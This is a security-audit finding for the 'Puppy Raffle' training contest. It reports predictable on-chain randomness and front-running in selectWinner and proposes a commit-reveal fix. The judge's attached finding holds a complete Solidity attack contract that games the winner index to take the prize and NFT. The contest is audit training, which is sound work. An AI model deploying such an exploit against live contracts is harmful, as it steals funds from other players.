Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

[M-06] Front-Running selectWinner Enables Guaranteed Wins

rensley

Root + Impact

Description

  • Since randomness is derived from msg.sender, block.timestamp, and block.difficulty, users can monitor the mempool for selectWinner calls, simulate the outcome, and front-run with their own transaction only when they would win.

  • This allows sophisticated actors to guarantee winning every raffle they enter.

// Root cause in the codebase with @> marks to highlight the relevant section
​
function selectWinner() external {
// ...
@> uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
// Attacker can simulate this off-chain before submitting
// ...
}

Risk

Likelihood: High

  • Reason 1 // MEV bots constantly scan mempool

  • Reason 2 // Simulation is trivial and cheap

Impact: Medium

  • Sophisticated users always win

  • Regular users never win against bots

  • Unfair raffle system

Proof of Concept

The following test demonstrates that an attacker can pre-calculate the winner index off-chain using the same formula the contract uses. By simulating the outcome before submitting a transaction, the attacker can choose whether to call selectWinner based on whether they would win. MEV bots can automate this process to guarantee wins across multiple raffles.

function testFrontRunSelectWinner() public playersEntered {
vm.warp(block.timestamp + duration + 1);
// Attacker simulates outcome before submitting transaction
address attacker = address(0x1337);
// Attacker pre-calculates winner using same formula as contract
// This can be done off-chain before spending any gas
uint256 simulatedWinnerIndex = uint256(
keccak256(abi.encodePacked(attacker, block.timestamp, block.difficulty))
) % 4;
// Attacker only submits transaction if they would win
// Otherwise they wait for next block or manipulate parameters
// This gives attacker 100% win rate when they choose to participate
console.log("Simulated winner index:", simulatedWinnerIndex);
assertTrue(simulatedWinnerIndex < 4, "Winner index should be valid");
}

Recommended Mitigation

Implement a commit-reveal scheme to prevent front-running, or use Chainlink VRF for verifiable randomness that cannot be predicted or manipulated. The commit-reveal approach requires two transactions which adds complexity but eliminates the front-running vector entirely. Chainlink VRF is the recommended solution for production raffles.

+ mapping(address => bytes32) public commitments;
+ uint256 public commitPhaseEnd;
+ uint256 public revealPhaseEnd;
​
+ function commitWinnerSelection(bytes32 commitment) external {
+ require(block.timestamp >= raffleStartTime + raffleDuration, "Raffle not over");
+ require(block.timestamp < commitPhaseEnd, "Commit phase ended");
+ commitments[msg.sender] = commitment;
+ }
​
+ function revealAndSelectWinner(uint256 secret) external {
+ require(block.timestamp >= commitPhaseEnd, "Commit phase not ended");
+ require(block.timestamp < revealPhaseEnd, "Reveal phase ended");
+ require(keccak256(abi.encodePacked(secret)) == commitments[msg.sender], "Invalid reveal");
+ // Use secret combined with other reveals for final randomness
+ uint256 winnerIndex = uint256(keccak256(abi.encodePacked(secret, blockhash(block.number - 1)))) % players.length;
+ // ... rest of winner selection logic
+ }
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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